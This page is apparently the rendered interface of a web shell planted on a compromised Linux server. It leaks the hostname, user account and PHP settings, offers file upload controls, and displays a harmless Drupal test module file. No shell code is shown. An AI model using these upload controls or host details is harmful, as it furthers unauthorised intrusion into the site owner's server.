bulletproftlink shell
bulletproftlink shell


Server : Apache
System : Linux copper.netcy.com 2.6.32-754.27.1.el6.centos.plus.x86_64 #1 SMP Thu Jan 30 13:54:25 UTC 2020 x86_64
User : montcaro ( 581)
PHP Version : 7.4.28
Disable Function : NONE
Directory :  /home/montcaro/public_html/modules/simpletest/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 


Create directory:
Current File : /home/montcaro/public_html/modules/simpletest/tests/entity_cache_test.module
<?php

/**
 * @file
 * Helper module for entity cache tests.
 */

/**
 * Implements hook_watchdog().
 *
 * This hook is called during module_enable() and since this hook
 * implementation is invoked, we have to expect that this module and dependent
 * modules have been properly installed already. So we expect to be able to
 * retrieve the entity information that has been registered by the required
 * dependency module.
 *
 * @see EnableDisableTestCase::testEntityCache()
 * @see entity_cache_test_dependency_entity_info()
 */
function entity_cache_test_watchdog($log_entry) {
  if ($log_entry['type'] == 'system' && $log_entry['message'] == '%module module installed.') {
    $info = entity_get_info('entity_cache_test');
    // Store the information in a system variable to analyze it later in the
    // test case.
    variable_set('entity_cache_test', $info);
  }
}

Spamworldpro BIBIL Mini